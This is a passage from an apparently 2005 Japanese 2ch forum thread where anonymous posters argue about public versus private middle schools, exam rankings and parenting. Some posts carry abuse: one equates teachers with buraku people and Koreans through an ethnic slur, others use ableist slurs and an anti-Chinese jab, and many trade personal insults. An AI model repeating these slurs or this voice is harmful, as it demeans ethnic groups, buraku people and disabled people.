クラスに5人は茶色い髪の毛。1,2人は金。中3で指導有り。
クラスに3人はピアスの穴あり。これは先生もう諦めてる。
このあいだ放火(焦げてた)あったし、トイレの仕切り壊されてたし、
弁当泥棒おるし、ブランドの靴とられるし、上靴投げ捨てられるし、、、。
警察が認めた市内1荒れた学校です。
すごいですよ?ウチのクラスなんて特に荒れてて、国語、社会、英語は授業
じゃないもん。こないだ英語の先生のメガネ壊したし。数学は先生も混じって
雑談。恋話とか、あの先生嫌いとか。理科室の冷蔵庫にはカワセミの死体
入ってるし。
イジメはないですよ。ちょっとからかわれたりするけど、皆に可愛がられてる
ってことやし。中学生にもなってイジメとかダサいし、ガキやし。
いじめの対象先生やし。

公立の方が絶対いいよ。どっちにしろ、ひ弱な奴はイジメられん
ねんから。そしたら、中高一貫より、高校受験のできる公立の方がええよ。
私立は本気で勉強したい人がいくとこ。
公立は友達いっぱい作るトコ。
私立ってダサい上に規則厳しいし。ウチはブレザーやし、規則めっちゃ緩い
し。ブレザーめっちゃかわいいで。この辺で1番制服、ジャージがかわいいよ。


672 :実習生さん:2005/04/19(火) 15:04:00 ID:cJCbVRyH
>>669
今の官僚のどこが良い人材なんだ?
如何に税金を自分達の懐に入れるかしか
考えていない売国奴だらけじゃないか
いっそのこと金目当てにはならないって
した方が仕事その物に意義を見出す
良い人材が集まると思うけどね

673 :実習生さん:2005/04/19(火) 15:07:35 ID:bHtLpfD1
どちらにしても将来勝ち組になるためには学歴が必要なわけで。
そう考えると結果にむすびつかなかった親and子供はDQNですね。


674 :実習生さん:2005/04/19(火) 15:15:43 ID:w2Zp+aHe
>>670
>公立中に進学しても結局は高校受験でふるいにかけられます。
>地区のトップ高校に進学できなければ、将来はさほど望めないでしょう。
>そう考えると、中学受験をして公立トップ高校以上の大学進学実績がある
>中高一貫校に進学する方が賢明だと考えます。
一流私立中高一貫校に合格できればね。
でもそういう子が公立トップ高に入れないと思う?

>>672
>今の官僚のどこが良い人材なんだ?
同感。
マシなのは財務省と経産省ぐらいなもんだよ。
外務、農水、厚生、文科、警察庁辺りはひどいよ。
志も実力も無くても東大ブランドが生かせてラクして地位と金が手に入るところ。
怠惰と責任逃れの横行する職場。

675 :実習生さん:2005/04/19(火) 15:56:20 ID:PHXYkARg
>>674
>一流私立中高一貫校に合格できればね。
合格するか否かは受験しないとわかりませんが、
息子の場合は良い結果が出ました。
受験を考えずに諦めるのは、最初から
子供の将来を諦めることになりませんか?

>でもそういう子が公立トップ高に入れないと思う?
関西ですが、私立中高一貫進学校>公立トップ高校です。
私立中高一貫校(日能研R4偏差値・55以上くらい)に
進学できる子は公立トップ高校にも楽に
進学出来る学力はあると思います。
でも、敢えて公立中に進学しないのは、荒廃した風紀と
ゆとり教育で地に落ちた公的教育を回避するためです。

676 :実習生さん:2005/04/19(火) 15:56:30 ID:XX2BGQT6
いい人材なんて誰も言ってない
今よりひどいことになるって言っているのではと
これ以上おかしくなってどうするよ?


677 :実習生さん:2005/04/19(火) 16:36:58 ID:RIKwU3tZ
>>671
なんか俺の中学校がいい方に思えてきたな…
□ーソン以外は楽勝とかほざいてて、
万□き専用バックなるものを持ってるようなヤシが1人いるだけだからな、俺の学級は。

 小学生のうちに私立中の特待制度を調べておけばよかった…

678 :実習生さん:2005/04/19(火) 18:15:38 ID:tpWyj4h1
>私立中高一貫校(日能研R4偏差値・55以上くらい)に 進学できる子は公立トップ高校にも楽に
>進学出来る学力はあると思います。

公立トップもピンキリだけど55程度ではなあw


679 :実習生さん:2005/04/19(火) 19:51:35 ID:PHXYkARg
>>678
【日能研R4偏差値】55以上ですよ。
公立高校入試の偏差値と比較していませんか?
母集団が違いますから・・・ご存知ではなかったですか?


680 :実習生さん:2005/04/19(火) 21:05:15 ID:Ls4CRaaO
671私の中学は中3でバイクノーヘルで補導が月2ペース、万引きは集団で1人6万くらいかなぁ?煙草はいないケド族つながりがわんさかいて、父親がヤクザって人も結構いた。族つながりは私の1コ下が多かったかな。髪は赤と青が多かった。ガラスも月3枚ペースで割ってた。同じ様なもんダネ。

681 :実習生さん:2005/04/19(火) 21:59:36 ID:sSHamSiZ
官僚の子供はみんな私立というのはデマ。

裕福な家庭が多いから、官僚の子供で私立に通っている割合は一般人よりは若干高いが、
官僚は(省庁にもよるが)転勤も頻繁にあるから私立には通わせられない場合が多い。

682 :実習生さん:2005/04/19(火) 22:13:44 ID:CE2P1Plu
>>681
使用人である公務員が主人である多くの納税者よりも
裕福ってのはおかしいね
一部だろうが公務員が子供を私立へやれるほどの
経済力があるなら官舎や公用車、その他、各種手当てなど
必要ないだろう

公務員こそ子供を公立へやるべきだろうよ

683 :実習生さん:2005/04/19(火) 22:17:00 ID:Ls4CRaaO
言い忘れたケド680は公立。言わなくても分かるか。私も公立のが楽しいと思う。勉強サボれるし!制服カワイイし!でも将来やりたい職業あって、絶対なりたい!トカって人は私立のがお勧めですよね〜。私立と公立、結局は自分が行きたい方を選べばイイ。比べる必要ないんぢゃない?

684 :実習生さん:2005/04/19(火) 22:23:15 ID:sSHamSiZ
>>682
給料がいいという意味じゃなくて、元々裕福な人が官僚になっている。

685 :実習生さん:2005/04/19(火) 22:59:43 ID:CE2P1Plu
>>684
意味不明だな
公務員は親から金の援助でも受けているのか?
だとしたら場合によっては贈与税が発生すると思うが
裕福な生活をしている公務員は脱税でもしているのか?

686 :実習生さん:2005/04/19(火) 23:28:12 ID:1OlJPcGN
>>685
理解できない馬鹿は引っ込んでろ!!



687 :実習生さん:2005/04/20(水) 00:08:53 ID:qAzHxoyV
公立トップ高は馬鹿でもはいれるって。高校入試問題簡単すぎだろ

688 :実習生さん:2005/04/20(水) 00:28:43 ID:AJDvI3JF
>>685
官僚になるような家柄は祖父祖母の代から裕福だから
子供の教育費も祖父祖母が肩代わりしてくれるのが普通ってことを
ID:1OlJPcGNは示唆していると思われ。

689 :実習生さん:2005/04/20(水) 01:38:50 ID:Bk3ZVEDa
学校教師=部落=チョソ=賎業だろ


690 :実習生さん:2005/04/20(水) 03:32:12 ID:dLdCIhdj
と採用試験で落ちた人間が吼えています

691 :実習生さん:2005/04/20(水) 12:41:17 ID:3xf0yoG+
>>690
689が大学へ行ったとは考えにくい、よって609は間違い。

692 :実習生さん:2005/04/20(水) 21:18:24 ID:VbNRhW9x
日能研R4偏差値55程度の首都圏私立中学へ子供を入れました。

子供曰く、「なんだか運動出来なそうな子がいっぱいいるよ〜」だそうです。
そういえば、近くの駅前にあるカバン背負っていく受験塾の子供たちの中で、カバンより体の幅が大きい子何人かいるよな〜
運動したほうが良いですよw

693 :実習生さん:2005/04/20(水) 22:01:38 ID:IKlptPch
昔と違って、放課後に校庭で遊ぶ事が少ないから仕方がない、
スイミングとか習い事しないと運動する機会が無い。

694 :実習生さん:2005/04/20(水) 22:24:33 ID:qd/KY87Z
>>692
>運動出来なそうな子

変な言葉遣い

695 :実習生さん:2005/04/20(水) 22:24:58 ID:VbNRhW9x
>>693
大局的に考えるとスイミングとかの問題じゃないような気がしますが・・・
私立親が考える、小学校〜中学校時代の子供のあるべき姿がどうもアンバランスのような気がします。

運動が出来ない→スイミングor習い事
勉強が出来ない→塾、私立中

なんだかすごく短絡的な気がしませんか?

そういう親こそが「DQN」と思いますが。




696 :名無し@教育板:2005/04/20(水) 23:41:54 ID:0aDOqP+3
>>695
>運動が出来ない→スイミングor習い事
>勉強が出来ない→塾、私立中

と私立親が考えているのだとしたらあんたの言うとおりなのだが、
べつに対症としてスイミングや塾を使っているというわけじゃないない罠。

昔の東京や田舎とちがって、その辺の空き地で三角ベースとか缶蹴りとかの時代じゃないんだよ。
子供たちの放課後のエンクロージャーが既に完了しているわけ。
つまり子供たちが放課後、カラダを動かそうとしたら、大人が管理しているそしてその多くは商業的に経営されている
場所でないと十分に安全が確保されない時代になっているということ。
親たちだって、近くに空き地でも子供が安全に遊べる公園でもあればいい。
しかしそんな牧歌的な風景は現実味がないんだよ。

親が運動したり勉強したりする場所を確保してやんないと、子供がそういうものにアクセスできない時代になっちゃっているのさ。
悲しいことだけどね。

697 :実習生さん:2005/04/20(水) 23:49:28 ID:GNiZzmGi
東京は児童館があるけどね

698 :実習生さん:2005/04/21(木) 04:04:44 ID:vxO+SyVt
>>693
近くの学校では部活以外では球技禁止になっていたりする。
大人が子供の遊び場をどんどん潰しています。

699 :実習生さん:2005/04/21(木) 04:06:17 ID:AQq9+FAb
>>688確かに学力が高い子はnot only oya but olso 祖父母の代から裕福な傾向があるみたいだね。

700 :実習生さん:2005/04/21(木) 08:04:32 ID:BcJc3SOU
>>695
>小学校〜中学校時代の子供のあるべき姿

こういう親って
子供は子供らしく等と言って
いつまでも子供扱いしてそう
高校受験の参考書選びだとか
大学入試に付き添う過保護過干渉親って
公立の人が多いみたいだけど
公立親のバランス感覚の方が疑問だわ

701 :実習生さん:2005/04/21(木) 08:43:39 ID:jQzcCFYV
子供を公立中学に入れる親はDQNが多いって本当?
http://caramel.2ch.net/ms/kako/1018/10188/1018823167.html

702 :実習生さん:2005/04/21(木) 10:44:23 ID:QpBEOBG9
692 名前:実習生さん :2005/04/20(水) 21:18:24 ID:VbNRhW9x
日能研R4偏差値55程度の首都圏私立中学へ子供を入れました。
子供曰く、「なんだか運動出来なそうな子がいっぱいいるよ〜」だそうです。
そういえば、近くの駅前にあるカバン背負っていく受験塾の
子供たちの中で、カバンより体の幅が大きい子何人かいるよな〜
運動したほうが良いですよw

695 名前:実習生さん :2005/04/20(水) 22:24:58 ID:VbNRhW9x
>>693
大局的に考えるとスイミングとかの問題じゃないような気がしますが・・・
私立親が考える、小学校〜中学校時代の子供のあるべき姿が
どうもアンバランスのような気がします。
運動が出来ない→スイミングor習い事
勉強が出来ない→塾、私立中
なんだかすごく短絡的な気がしませんか?
そういう親こそが「DQN」と思いますが。

上記二つの発言は同じIDの方ですね。
読解力もなく、発言からも品性を感じられない方に思えましたが、
本当に、子供さんは日能研R4偏差値55程度の
首都圏私立中学に進学されたのですか?
私立中学の内情もご存知ではないような気が・・・



703 :実習生さん:2005/04/21(木) 11:53:43 ID:Q7EmcMno
聞いた話だけど公共交通機関が発達していない地方の子の方が
どこへ行くにも自家用車なので体力がないと聞いた事がある
それほど田舎ではないが首都圏に住む友人の子供が通う
公立小学校では休み時間になっても校庭で遊ぶ子供が少なく
かと言って教師もケガなどされたら責任問題だとか面倒なので
積極的に外遊びを勧めたりしないとのこと
椅子に座っても背筋力がない?のか姿勢の悪かったり
家庭での生活リズムが悪く夜更かしをしているのか?
朝からだるそうにしていたり体育の授業などでも疲れやすい子が
多いそうだ

考えてみるに昔と違い今は幼稚園や保育園へ通うにも
母親が自転車に乗せ子供自身が歩く事が少ない
夜遅くまで子供を寝かせない家庭が増えている
治安が悪い事もあるがゲームやパソコンなどが当たり前になり
屋内で遊ぶ事が多くなっている

704 :実習生さん:2005/04/21(木) 12:15:58 ID:RKeVKEJ0
>>702

あんたにも品性なんて感じられないがww

705 :実習生さん:2005/04/21(木) 16:18:00 ID:+4Nn1/Mv
>>703
>考えてみるに昔と違い今は幼稚園や保育園へ通うにも
>母親が自転車に乗せ子供自身が歩く事が少ない
>夜遅くまで子供を寝かせない家庭が増えている
>治安が悪い事もあるがゲームやパソコンなどが当たり前になり
>屋内で遊ぶ事が多くなっている

そうなんだよね。
こういう基本的なことの方がずっと大事。
うちは幼稚園(3年保育)までの1Kmの道のりを親子で毎日歩いて通った。(合計通算7年間)
そして小学生の間は宿題が終わっていてもいなくても、午後9時には就寝させた。


706 :http://ohmynews.269g.net/:2005/04/21(木) 16:19:20 ID:AZ2yQ9UB
『OhmyNews!Japan』では、市民記者を募集します♪

記事の内容はどんな事でも結構です!
(例)身の回りの出来事スポーツ情報政治・経済など何でも結構です。
  ohmynews110@yahoo.co.jp

707 :実習生さん:2005/04/21(木) 16:27:10 ID:lLD6pfu0
http://schoolgto.seesaa.net/


↑この勘違い教師をなんとかしてくれ







708 :実習生さん:2005/04/21(木) 22:12:07 ID:2XK4r1EX
>高校受験の参考書選びだとか
大学入試に付き添う過保護過干渉親って
公立の人が多いみたいだけど

そりゃ高校入試は中高一貫にはないから、もし高校入試関係で付き添っている親がいたら公立親の可能性が高いよねw
同じ論理で、大学まで付属でいけたらその私立の親は入試に付き合おうと思ってもつきあえないw

でも、親の過干渉が多い比率は私立親でしょ?
マザコンが多いのは私立っ子ですよww
だって、子供をほったらかしにして公立中へ行かせるのがDQNって言われてるんだからね〜
公立っ子は自立してますよw

709 :実習生さん:2005/04/21(木) 22:37:55 ID:OJVJSVZm
>>708
親が大学入試に付き添うのは私立親がほとんどだな
しかも地方出身者が首都圏の大学(ex トーダイ)を受験するのに親が付き添うというのは
仕方がないとは思うが、首都圏のやつが地元(首都圏)の大学を受験するのに
付き添うというのはどうだろうかね

ちなみにトーダイの場合は入学式ともなろうものなら
新入生の数より親の数の方が多いとか ww

710 :実習生さん:2005/04/21(木) 22:38:50 ID:QpBEOBG9
>>708
>公立っ子は自立してますよw
自立というよりも好き勝手やりたい放題という感じですね。



711 :実習生さん:2005/04/21(木) 23:01:35 ID:wCJ8GOZB
>>709
それ、何か根拠はあるの?
子供ふたりが別々の男子中高一貫だけど
ひとりで行くか友達と携帯メールでやり取りして行ってました。
親が大学受験に付いて行くという発想自体なかったよ。
男の子だからかなあ。

712 :実習生さん:2005/04/21(木) 23:05:31 ID:NdQPUvhY
なんか私立中に妄想を抱いてる人が多い気がする。
私立中でも教員の質や学校の設備がいいとは限らないし、
勉強に力を入れる分行事や部活動はサッパリっていう所も少なくない。
(ついでに校則も公立より厳しい場合がほとんどだし)
質の悪い私立中に行って学力が向上しなかった生徒は
塾通いや家庭教師などでますます金を使い、下手したら浪人して日東駒専程度の私大なんて事も。
遠くに通う分電車賃や時間もかかるし。
やっぱり無理して私立に行くよりは公立+塾の方が総合的に見ていいと思う。

ちなみに俺は中学が公立で高校が私立だったが、私立に行った意味が全くと言っていいほど無かった・・・。


713 :実習生さん:2005/04/21(木) 23:09:50 ID:vxO+SyVt
>>712
地方だと私立と公立は逆転する。

714 :実習生さん:2005/04/21(木) 23:11:40 ID:wCJ8GOZB
>俺は中学が公立で高校が私立だったが、私立に行った意味が全くと言っていいほど無かった・・・。

うーん、個人的には中高一貫へは高校から入るより中学から入る方が
絶対楽しいと思うよ。

715 :実習生さん:2005/04/21(木) 23:14:30 ID:Ia0JwloH
>>709
地方出身で首都圏代受験なら親の付き添いも仕方がない?
なんじゃそりゃ?
今時の高校生は自分で目的地にも行けないほどの池沼か?
いくらペーパーテストができたってそれじゃ人間としてカタワだろ
親同伴受験するやつなんか大学側は不合格にするべきだね
受験会場に自力で辿り着けないような無能は逝ってよしだろ

716 :実習生さん:2005/04/21(木) 23:22:56 ID:fRAtXkMX
入試に付いてくる親が地方女子には多いね。
早稲田では大熊講堂が父兄待機室になっている。

717 :実習生さん:2005/04/21(木) 23:27:00 ID:QpBEOBG9
>>712
確かに、風紀や進学実績が今ひとつという私立中学もありますので、
そのような学校であれば公立中学とも少なからずは比較対象になるかもしれませんが、
首都圏や関西の全国区知名度の中高一貫進学校になれば話は別ですよね。




718 :実習生さん:2005/04/21(木) 23:38:48 ID:OJVJSVZm
>>717
関西の中高一貫はこのスレに書いてある
アンチ公立派の意見がほぼそのまま当てはまるから面白い

719 :実習生さん:2005/04/21(木) 23:50:58 ID:QpBEOBG9
>>718
具体的にはどのようなご意見ですか?

720 :実習生さん:2005/04/22(金) 00:13:35 ID:Xktilz0/
>>718
お受験板のスレ?

721 :実習生さん:2005/04/22(金) 00:50:38 ID:/b7xu0J8
712同感。私今あなたと同じ道をたどってるかも。今私立高1。私個人的には公立に行きたかった。落ちたのが悪いけど。

722 :名無し@教育板:2005/04/22(金) 00:56:57 ID:yWR4p1tG
>>712
>ちなみに俺は中学が公立で高校が私立だったが、私立に行った意味が全くと言っていいほど無かった・・・。

おまえは「私立に行った意味がない」のではなく、「私立に行ったことがない」んだよ。



723 :実習生さん:2005/04/22(金) 02:23:16 ID:u3XQ8Z7J
私立なら何でもいいって訳じゃないだろw

724 :実習生さん:2005/04/22(金) 02:43:43 ID:nv4/vRl/
>>722
まさしく、その通りだなw
そもそも712は「私立」に行ってないんだよ
>>723
今、そういう話をしてるか?w
誰も私立なら良いなんて言ってないんだけどな

725 :実習生さん:2005/04/22(金) 04:38:26 ID:7EjPqksk
>>712
高校から私立行くくらいなら公立へ行ったほうがいい。
高校から私立に行っても意味が無い。私立に行ってないのと同じ。
中高一貫教育だから私立の存在意義がある(これまでにも何度も同じような書き込みが出てきてるけども)。
高校から私立では中途半端な感じ(中央、法政、日大などの大学の付属校なら別。ただし、大学入学時点でバカになってるようだが。)。

726 :実習生さん:2005/04/22(金) 04:56:39 ID:575FBubk
>>725
同意。
中高一貫に行かせる最大の意味は、選抜のない公立中3年間の代わりに
合理的カリでラクに学力をつけるってことだから。

うちらの地方の私立一貫進学校だと、中学入学時から既に大学入試や将来の職業、
専攻分野に関心が向くように段階的に仕掛けているところもある。
公立中生が高校入試で一生懸命の時に既に、高校数学に入ってる。

同じ地頭、同じ勉強量だと中高一貫と公立プラス塾なら、かなりの差が出ると思う。

727 :実習生さん:2005/04/22(金) 07:51:33 ID:SjonWfOh
>>712
>校則も公立より厳しい場合がほとんど

低偏差値校ほど校則が厳しいのは常識ですね
しかしこのスレで語られている私立はその様に
低レベルな学校の事ではないので
一部の低偏差値校を引き合いに私立は無意味と言っても
説得力がないと思いますよ

728 :実習生さん:2005/04/22(金) 09:36:19 ID:FkJYC8e/
一般的に高偏差値と呼ばれている私立一貫は四谷で60以上、
50−60で上位校ではないがまあまともな中堅、それ以下だと
進学実績は公立トップ以下ですが
果たして四谷で50以上のまともな私立は日本全国の私立に比べて
何割ほどなのでしょうかね?


729 :実習生さん:2005/04/22(金) 11:09:57 ID:fRcC/rPh

すげえ知沼w
偏差値の意味を知らないだろww
二項分布って知ってるか?

730 :実習生さん:2005/04/22(金) 11:23:07 ID:FkJYC8e/
二項分布?知りません、教えてください。

731 :実習生さん:2005/04/22(金) 11:23:50 ID:Mz6Nasir
中山文科相:
ゆとり教育は「反省すべき」と中学生に謝罪
中山成彬・文部科学相は21日、水戸市の茨城大学付属中学校での「スクールミーティング」で、ゆとり教育について「授業時間を減らしたことは反省すべきだと思う」などと中学生に謝罪した。
中学生からは「学校は勉強する所なのに、総合的な学習の時間のせいで、学校外で勉強するなど逆転現象が起きている」などと厳しい質問が相次いだ。
中山文科相は「ゆとり教育の見直しで教科書のページ数も元に戻りつつある。(薄い教科書の)皆さんには申し訳なく思う」と答えた。
以下略
ttp://www.mainichi-msn.co.jp/shakai/edu/news/20050422k0000m040148000c.html

文科省トップも公立がDQNを生産していた事を認めたようです。

732 :実習生さん:2005/04/22(金) 11:28:37 ID:FkJYC8e/
ひょっとして二項分布ってできるのとできないのと
山が二つに分かれてるって奴ですか?
でも、それは生徒・学生全般の学力に関してであって
全国(または首都圏)にある私立校が上位校と下位校で
半分位づつあるっていうのとは違いますよね?

733 :実習生さん:2005/04/22(金) 11:34:13 ID:FkJYC8e/
>>726
同じ地頭も何も一部の上位私立は入学の時点で既に「できる者」ばかりを
集めているのですから、それなりの結果が出せるのは当然なのでは?
公立中学は基本的にどんなに学力の点で劣っていたとしても
全員受け入れなのですから。
それで「私立」の方が勝ち勝ちと言っても、
それは当たり前なのでは…?

734 :実習生さん:2005/04/22(金) 11:38:57 ID:FkJYC8e/
「一部の上位私立」の実績を単に「私立」とぼかして
さも私立全てがそうであるかのように見せかけて表現するのは
意図的なまやかしなのではありませんか?

735 :実習生さん:2005/04/22(金) 11:55:51 ID:Mz6Nasir
日本全国の上位公立校が束になっても
上位私立校には敵わないでしょう

736 :実習生さん:2005/04/22(金) 12:04:24 ID:FkJYC8e/
ですから、それは「当 た り 前」かと。
入り口の所で厳しく選別しているわけですし。
成績の悪いものは外に出されるようなシステムを取っていますし。

「海の水はしょっぱいです」並みの当たり前の事を言って
「ワーイ勝った勝った」といつまでも喜んでいるのは

バ    カ

なのでは???

737 :実習生さん:2005/04/22(金) 12:12:42 ID:FkJYC8e/
>>727
このスレで語られてるも何も、一口に「私立」と言えば
それは開成麻布も、国本、大西も全部含まれてしまいます。
そのように都合の良い時だけ
「このスレで語られているのはそのような低レベルな学校の事ではない」
というのはごまかしであり、まやかしです。

本当にハイレベルな私立の事だけを語りたいのなら
タイトルを「子供を上位私立に入れない親はDQNが多い」と
変更するか、1にここで語る私立とは上位私立に限ります、と
断りを入れるべきではないでしょうか?

738 :名無し@教育板:2005/04/22(金) 12:34:00 ID:NrpUyfmx
>>733
そうじゃないだろ。>>726が読めていないぞ。
ある小学6年生が私立に行く場合と公立に行く場合では、の比較だろ。


739 :名無し@教育板:2005/04/22(金) 12:44:02 ID:NrpUyfmx
>>737
「私立」と言っても、人それぞれで結局自分にとって身近な私立で語っちゃうわけ。
公立マンセーにとっては意識する私立と言えば底辺のことなんじゃないの?
中堅以上なんか入れなかったわけだもんね。

一方、私立派には、底辺関係者なんてほとんどいないだろ。

私立派(公立出身者を含む)=頭が良い vs 公立マンセー(ほとんどいないけど私立落伍者を含む)=頭が悪い

という構図が歴然としてあるんだから、私立派が身近な難関校の話ばかりになり、公立マンセーが何かと言うと底辺私立の話を持ち出すのは当然だろ。



740 :実習生さん:2005/04/22(金) 12:44:59 ID:FkJYC8e/
実際に同じ小学6年生が私立に行く場合と公立に行く場合の両方のケース
を調べる事は不可能ですよね?
全く同じ能力を持つ小学生が私立に行った場合と公立に行った場合を
比べても良いでしょうけれど、そういうデータだってないですよね?

741 :実習生さん:2005/04/22(金) 12:48:36 ID:FkJYC8e/
>>739
あえて元々割合としては少ない上位私立を単に「私立」とぼかした
表現で語るのは変です。
上位私立と表現したって別に支障ないでしょ?

742 :名無し@教育板:2005/04/22(金) 12:50:07 ID:NrpUyfmx
>>740
おまえは馬鹿か?
そんなものあるわけないだろ。
こーゆー幼稚園みたいなことばっかり言っているのが公立マンセーなんだよなwww


743 :実習生さん:2005/04/22(金) 12:51:54 ID:FkJYC8e/
私立派(というか異常な私立マンセー厨)=頭がいいっていうのは??
公立中で虐めなどにあって登校拒否からヒキ、ニートになって
公立に恨みを抱いている人間も多いのでは?

744 :実習生さん:2005/04/22(金) 12:54:56 ID:FkJYC8e/
>>726の立証ができないから相手を「馬鹿」といってお終いですか?
幼稚園児並みなのはそっちでしょう。

とにかく、上位私立は入り口の所で選別されてその後に成績が悪くなっても
切り捨てていくわけですから高い大学進学実績を残せるのは当然です。

745 :名無し@教育板:2005/04/22(金) 12:55:03 ID:NrpUyfmx
>>741
逆に言えば、仮に底辺私立に行くような子が公立に行ったとしても
急に公立トップから東大とかになるようなことはほぼありえない。
底辺私立一貫でまったり→日東駒専で恩の字ってとこだろ。
しかし、それだって公立でDQNのパシリにされてどっかの都立で中退してフリーターという平均的未来よりマシってことだ。

746 :実習生さん:2005/04/22(金) 12:57:22 ID:FkJYC8e/
公立に行ってもDQNのパシリにされて都立中退フリーターになるとは
限りませんが。日東駒専ぐらいなら公立からでも行けるし。

747 :名無し@教育板:2005/04/22(金) 12:58:41 ID:NrpUyfmx
>>744
>>726の立証ができないから相手を「馬鹿」といってお終いですか?

そうじゃなくて、そんなものはじめからおまえに言う意味でのデータなんかないし、おまえの言う意味での「立証」なんてできないだろ。
そういう概念に、データとか証明とか持ち出すおまえが馬鹿ってことだよ。

だいたい>>726は結果ではなく、経過を語っているのにそこの峻別もできていないじゃん。


748 :名無し@教育板:2005/04/22(金) 13:00:21 ID:NrpUyfmx
>>746

 y=fx

のfの話をしているんだってことをまず理解しろ。

749 :実習生さん:2005/04/22(金) 13:01:53 ID:FkJYC8e/
データもないのに進学実績を印象だけで語られてもね。

750 :実習生さん:2005/04/22(金) 13:06:51 ID:FkJYC8e/
>>748
ハア?頭がいいんだったらもう少し意味のわかりやすい文章書いてください。


751 :名無し@教育板:2005/04/22(金) 13:07:38 ID:NrpUyfmx
>>749
少し頭を使えよ。

おまえの子供の小学生6年生が、私立中に行くのと公立中に行くのと、どっちが・・・ってときに
「データ」とか「証明」とか言い出すのか?
そんな馬鹿な親がどこにいる?

752 :名無し@教育板:2005/04/22(金) 13:10:52 ID:NrpUyfmx
>>750
ごめんな。ふだんおまえのような頭の悪い香具師とコミュニケーションすることがないので・・・
とにかく、おまえのモノの見方では何もわからんだろ・・・


753 :実習生さん:2005/04/22(金) 13:11:34 ID:FkJYC8e/
>>751
実際問題として、上位校が入り口の所で厳しい選別をしているのは事実でしょ?
そして成績が悪ければはじき出すのも事実でしょ?
だから上位私立が大学進学実績が良いのは当たり前でしょ?

754 :名無し@教育板:2005/04/22(金) 13:13:06 ID:NrpUyfmx
自分の子供が小学6年生として、どういう学校に入れるべきか考えてみろ。
いろんな条件があるだろうけど、それぞれにな。
そうすれば、少しでも脳みそがあるなら、ちょっとはわかると思うが・・・

755 :名無し@教育板:2005/04/22(金) 13:14:17 ID:NrpUyfmx
>>753
全然話がわかっていないな・・・

756 :実習生さん:2005/04/22(金) 13:14:47 ID:FkJYC8e/
>>751
別に自分の子供の話をしてるわけではありませんが。
>>752
本当に頭が良かったら馬鹿にでもわかる説明の仕方ができるでしょ?
相手にわからせる能力もないのに自分の言ってることに相手が賛同しなきゃ
その相手がバカ。幸せな脳内回路の人ですね。中国人みたい。

757 :名無し@教育板:2005/04/22(金) 13:17:18 ID:NrpUyfmx
>>756
あのな、自分の子供の話から考えないと何もわからんのよ。


758 :実習生さん:2005/04/22(金) 13:17:48 ID:1P0jFL0f
>>753
その通りですよ〜(^◇^;)
だからね
そう言う私立中高校が通学圏内にあるにも関わらず
受験もさせないor受験自体考えずに公立へやる親はDQNだね〜
子供の教育の事、公立の現状などなぁ〜んにも考えないで
エスカレーター式に公立小→公立中とやる親はDQNだね〜
って言う主旨なんですけどね このスレは


759 :実習生さん:2005/04/22(金) 13:20:07 ID:FkJYC8e/
そういう私立中高っていうのは首都圏とか全国に
どのぐらいあるんですかね?

760 :実習生さん:2005/04/22(金) 13:22:01 ID:FkJYC8e/
元々極少数しかない学校VS全国に星の数ほどもある公立を比べるのも
おかしな話では???

761 :実習生さん:2005/04/22(金) 13:23:21 ID:1P0jFL0f
>>759
一般の保護者の立場では
全国で何校・・と考える事に意味はないでしょう
ただ、通学圏内に良い私立が無くても
寮制の私立校もありますし
例えば転勤族でも子供が中学受験で合格すれば
母子は残って父親だけ単身赴任するとか
逆に地方在住でも良質の私立を求めて都市圏に
母子だけ移住したり 努力する人はしてますからね
なぁ〜んにも考えない
考えても、どうすれば出来るかよりも、出来ない理由しか考えず
最初から うちは無理 と決めつける怠惰な親はDQNと
言われても仕方がないでしょうね

762 :実習生さん:2005/04/22(金) 13:25:23 ID:FkJYC8e/
あと、そういう上位校って受けても合格できるかどうか
大体、事前の模試とかでわかっちゃうでしょう。
或いは奇跡的に合格できたとしても深海魚とか。

で、そういう学校に行けない&行かせられない=DQNと言うのも
極端ですねえ。

763 :名無し@教育板:2005/04/22(金) 13:27:34 ID:NrpUyfmx
ID:FkJYC8e/ みたいな公立マンセーは、
どんな教育を受けさせるのがよいか、という本来の話とはまったく関係なく、
結局、自分がどこの位置にいるか、ってこと、そしてその位置はここで語られているよりもっと上だよ、
ってこと「だけ」を言いたいためにここに来るんだよな。

偏差値ランクでしか自分をアイデンティティを語れない。
自分の属性でしか自分のアイデンティティを語れない。
どうしてこういう馬鹿ばっかり生産しちゃったのか?

ホントこのスレって全然違うところで面白いな。



764 :実習生さん:2005/04/22(金) 13:27:52 ID:FkJYC8e/
>>761
上位校で寮がある所なんていったらそれこそ全国で数校でしょう???
誰でも入れるものじゃないですよねえ?
あなたの方こそ実情を全然わかってなくて語ってるのでは?

765 :実習生さん:2005/04/22(金) 13:30:04 ID:FkJYC8e/
>>763
ここは実情とはかけ離れた「理想」だけを語るスレッドなのですか??
確かにただの「理想」だけ、口だけなら誰でも何でも語れますが。

766 :実習生さん:2005/04/22(金) 13:32:09 ID:FkJYC8e/
別に公立マンセーなどしていませんよ?
あなたに異を唱えると全員公立マンセーになってしまうのですね。

767 :名無し@教育板:2005/04/22(金) 13:32:50 ID:NrpUyfmx
おれは公立中出身だけどDQNじゃない、イイ線言っているということを言いにここへ来る公立マンセーが多い。
「はい、おまえは公立中行ったけど、私立上位校よりは下だけど、私立底辺よりは上だよ。全然DQNじゃないよ。安心しな♪」
と言えば満足するんだろうか?

ホントのDQNだな(w

768 :実習生さん:2005/04/22(金) 13:36:27 ID:FkJYC8e/
元々全国に割合でいえば少数しかない私立上位校と一般公立を比べれば
僅かしかない私立上位校が進学実績で勝っているのは当たり前。
そんな当たり前の事を何度も繰り返し繰り返し偉そうに語っているのは
ア   ホ

です。

769 :実習生さん:2005/04/22(金) 13:36:50 ID:1P0jFL0f
>>765
現実を認められずに、ここで語られる事が「理想」と受け取る時点で
もはや世界が違うわけで、ID:FkJYC8e/自ら公立が如何に
どうしようもないかを露呈しているんだが・・・(ニガワラ

770 :実習生さん:2005/04/22(金) 13:40:04 ID:FkJYC8e/
>>767
自分の事を語っているわけではないのですがね。

元々、全国に割合でいえば少数でしかない私立上位校と一般公立を
比べれば僅かしかない私立上位校が進学実績で勝つのは当たり前。
そんな当たり前の事をいつまでも偉そうに繰り返し繰り返し語っているのは
 
ア    ホ
  
です。

771 :名無し@教育板:2005/04/22(金) 13:40:46 ID:NrpUyfmx
>>768
だから>>735でちょっとアオリが入ったくらいでそれ以外は誰もそんな話はしていないんだよ。

772 :名無し@教育板:2005/04/22(金) 13:42:52 ID:NrpUyfmx
>>770
そんな当たり前の事をいつまでも偉そうに繰り返し繰り返し語っているのは
 
ア    ホ
  

はおまえじゃん(w


773 :実習生さん:2005/04/22(金) 13:44:06 ID:FkJYC8e/
>>769
